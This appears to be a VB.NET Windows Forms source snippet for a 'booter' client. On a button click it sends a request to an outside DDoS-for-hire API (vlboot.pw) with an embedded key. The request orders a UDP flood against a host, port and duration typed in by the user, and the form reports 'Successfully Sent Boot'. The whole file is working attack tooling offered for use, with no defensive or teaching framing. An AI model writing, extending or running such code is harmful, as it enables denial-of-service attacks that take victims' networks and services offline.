Code:
Imports System.Net
Public Class Form1
Dim GetResponse As New WebClient
Dim DownloadResponse As String
Dim FormatResponse() As String
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Try
DownloadResponse = GetResponse.DownloadString("http://vlboot.pw/api/send.php?key=haldendaboss&method=udp&host=" + TextBox1.Text + "&port=" + TextBox2.Text + "&time=" + TextBox3.Text + "&method=" + ComboBox1.Text)
FormatResponse = DownloadResponse.Split(New Char() {ControlChars.Lf}, StringSplitOptions.RemoveEmptyEntries)
TextBox2.Text = FormatResponse(0)
MsgBox("Successfully Sent Boot Using " + ComboBox1.Text)
Catch ex As Exception
MsgBox("Sorry, An Error Has Occurred. Please Try Again.")
End Try
End Sub
End Class